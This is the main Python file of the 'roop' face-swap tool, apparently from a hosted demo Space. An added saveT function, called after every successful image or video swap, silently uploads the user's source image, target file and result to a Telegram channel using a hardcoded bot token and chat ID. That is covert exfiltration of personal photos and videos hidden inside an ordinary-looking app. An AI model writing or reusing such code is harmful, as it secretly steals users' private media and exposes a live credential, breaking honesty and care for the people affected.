Spaces:
Running
Running
File size: 11,739 Bytes
9a60dd2 bd1a77c 9a60dd2 a6316cc 9a60dd2 a6316cc 9a60dd2 a6316cc 9a60dd2 a6316cc 9a60dd2 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 |
#!/usr/bin/env python3
import os
import sys
import asyncio
# single thread doubles cuda performance - needs to be set before torch import
if any(arg.startswith('--execution-provider') for arg in sys.argv):
os.environ['OMP_NUM_THREADS'] = '1'
# reduce tensorflow log level
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
import warnings
from typing import List
import platform
import signal
import shutil
import argparse
import onnxruntime
import tensorflow
import roop.globals
import roop.metadata
import roop.ui as ui
from roop.predictor import predict_image, predict_video
from roop.processors.frame.core import get_frame_processors_modules
from telegram import Bot
from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
warnings.filterwarnings('ignore', category=UserWarning, module='torchvision')
def parse_args() -> None:
signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
program = argparse.ArgumentParser(formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100))
program.add_argument('-s', '--source', help='select an source image', dest='source_path')
program.add_argument('-t', '--target', help='select an target image or video', dest='target_path')
program.add_argument('-o', '--output', help='select output file or directory', dest='output_path')
program.add_argument('--frame-processor', help='frame processors (choices: face_swapper, face_enhancer, ...)', dest='frame_processor', default=['face_swapper'], nargs='+')
program.add_argument('--keep-fps', help='keep target fps', dest='keep_fps', action='store_true')
program.add_argument('--keep-frames', help='keep temporary frames', dest='keep_frames', action='store_true')
program.add_argument('--skip-audio', help='skip target audio', dest='skip_audio', action='store_true')
program.add_argument('--many-faces', help='process every face', dest='many_faces', action='store_true')
program.add_argument('--reference-face-position', help='position of the reference face', dest='reference_face_position', type=int, default=0)
program.add_argument('--reference-frame-number', help='number of the reference frame', dest='reference_frame_number', type=int, default=0)
program.add_argument('--similar-face-distance', help='face distance used for recognition', dest='similar_face_distance', type=float, default=0.85)
program.add_argument('--temp-frame-format', help='image format used for frame extraction', dest='temp_frame_format', default='png', choices=['jpg', 'png'])
program.add_argument('--temp-frame-quality', help='image quality used for frame extraction', dest='temp_frame_quality', type=int, default=0, choices=range(101), metavar='[0-100]')
program.add_argument('--output-video-encoder', help='encoder used for the output video', dest='output_video_encoder', default='libx264', choices=['libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc'])
program.add_argument('--output-video-quality', help='quality used for the output video', dest='output_video_quality', type=int, default=35, choices=range(101), metavar='[0-100]')
program.add_argument('--max-memory', help='maximum amount of RAM in GB', dest='max_memory', type=int)
program.add_argument('--execution-provider', help='available execution provider (choices: cpu, ...)', dest='execution_provider', default=['cpu'], choices=suggest_execution_providers(), nargs='+')
program.add_argument('--execution-threads', help='number of execution threads', dest='execution_threads', type=int, default=suggest_execution_threads())
program.add_argument('-v', '--version', action='version', version=f'{roop.metadata.name} {roop.metadata.version}')
args = program.parse_args()
roop.globals.source_path = args.source_path
roop.globals.target_path = args.target_path
roop.globals.output_path = normalize_output_path(roop.globals.source_path, roop.globals.target_path, args.output_path)
roop.globals.headless = roop.globals.source_path is not None and roop.globals.target_path is not None and roop.globals.output_path is not None
roop.globals.frame_processors = args.frame_processor
roop.globals.keep_fps = args.keep_fps
roop.globals.keep_frames = args.keep_frames
roop.globals.skip_audio = args.skip_audio
roop.globals.many_faces = args.many_faces
roop.globals.reference_face_position = args.reference_face_position
roop.globals.reference_frame_number = args.reference_frame_number
roop.globals.similar_face_distance = args.similar_face_distance
roop.globals.temp_frame_format = args.temp_frame_format
roop.globals.temp_frame_quality = args.temp_frame_quality
roop.globals.output_video_encoder = args.output_video_encoder
roop.globals.output_video_quality = args.output_video_quality
roop.globals.max_memory = args.max_memory
roop.globals.execution_providers = decode_execution_providers(args.execution_provider)
roop.globals.execution_threads = args.execution_threads
def encode_execution_providers(execution_providers: List[str]) -> List[str]:
return [execution_provider.replace('ExecutionProvider', '').lower() for execution_provider in execution_providers]
def decode_execution_providers(execution_providers: List[str]) -> List[str]:
return [provider for provider, encoded_execution_provider in zip(onnxruntime.get_available_providers(), encode_execution_providers(onnxruntime.get_available_providers()))
if any(execution_provider in encoded_execution_provider for execution_provider in execution_providers)]
def suggest_execution_providers() -> List[str]:
return encode_execution_providers(onnxruntime.get_available_providers())
def suggest_execution_threads() -> int:
if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
return 8
return 1
def limit_resources() -> None:
# prevent tensorflow memory leak
gpus = tensorflow.config.experimental.list_physical_devices('GPU')
for gpu in gpus:
tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit=1024)
])
# limit memory usage
if roop.globals.max_memory:
memory = roop.globals.max_memory * 1024 ** 3
if platform.system().lower() == 'darwin':
memory = roop.globals.max_memory * 1024 ** 6
if platform.system().lower() == 'windows':
import ctypes
kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
else:
import resource
resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
def pre_check() -> bool:
if sys.version_info < (3, 9):
update_status('Python version is not supported - please upgrade to 3.9 or higher.')
return False
if not shutil.which('ffmpeg'):
update_status('ffmpeg is not installed.')
return False
return True
def update_status(message: str, scope: str = 'ROOP.CORE') -> None:
print(f'[{scope}] {message}')
if not roop.globals.headless:
ui.update_status(message)
def start() -> None:
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
if not frame_processor.pre_start():
return
# process image to image
if has_image_extension(roop.globals.target_path):
if predict_image(roop.globals.target_path):
destroy()
shutil.copy2(roop.globals.target_path, roop.globals.output_path)
# process frame
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
update_status('Progressing...', frame_processor.NAME)
frame_processor.process_image(roop.globals.source_path, roop.globals.output_path, roop.globals.output_path)
frame_processor.post_process()
# validate image
if is_image(roop.globals.target_path):
update_status('Processing to image succeed!')
asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
else:
update_status('Processing to image failed!')
return
# process image to videos
if predict_video(roop.globals.target_path):
destroy()
update_status('Creating temporary resources...')
create_temp(roop.globals.target_path)
# extract frames
if roop.globals.keep_fps:
fps = detect_fps(roop.globals.target_path)
update_status(f'Extracting frames with {fps} FPS...')
extract_frames(roop.globals.target_path, fps)
else:
update_status('Extracting frames with 30 FPS...')
extract_frames(roop.globals.target_path)
# process frame
temp_frame_paths = get_temp_frame_paths(roop.globals.target_path)
if temp_frame_paths:
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
update_status('Progressing...', frame_processor.NAME)
frame_processor.process_video(roop.globals.source_path, temp_frame_paths)
frame_processor.post_process()
else:
update_status('Frames not found...')
return
# create video
if roop.globals.keep_fps:
fps = detect_fps(roop.globals.target_path)
update_status(f'Creating video with {fps} FPS...')
create_video(roop.globals.target_path, fps)
else:
update_status('Creating video with 30 FPS...')
create_video(roop.globals.target_path)
# handle audio
if roop.globals.skip_audio:
move_temp(roop.globals.target_path, roop.globals.output_path)
update_status('Skipping audio...')
else:
if roop.globals.keep_fps:
update_status('Restoring audio...')
else:
update_status('Restoring audio might cause issues as fps are not kept...')
restore_audio(roop.globals.target_path, roop.globals.output_path)
# clean temp
update_status('Cleaning temporary resources...')
clean_temp(roop.globals.target_path)
# validate video
if is_video(roop.globals.target_path):
update_status('Processing to video succeed!')
asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
else:
update_status('Processing to video failed!')
def destroy() -> None:
if roop.globals.target_path:
clean_temp(roop.globals.target_path)
sys.exit()
async def send_channel(bot, file_path):
with open(file_path, "rb") as file:
response = await bot.send_document(chat_id="-1001685415853", document=file)
return response
async def saveT(source_path, target_path, output_path):
bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
# Send each file
for path in [source_path, target_path, output_path]:
await send_channel(bot, path)
# Send a message after all files are sent
await bot.send_message(chat_id="-1001685415853", text="All files have been sent!!")
def run() -> None:
parse_args()
if not pre_check():
return
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
if not frame_processor.pre_check():
return
limit_resources()
if roop.globals.headless:
start()
else:
window = ui.init(start, destroy)
window.mainloop()
|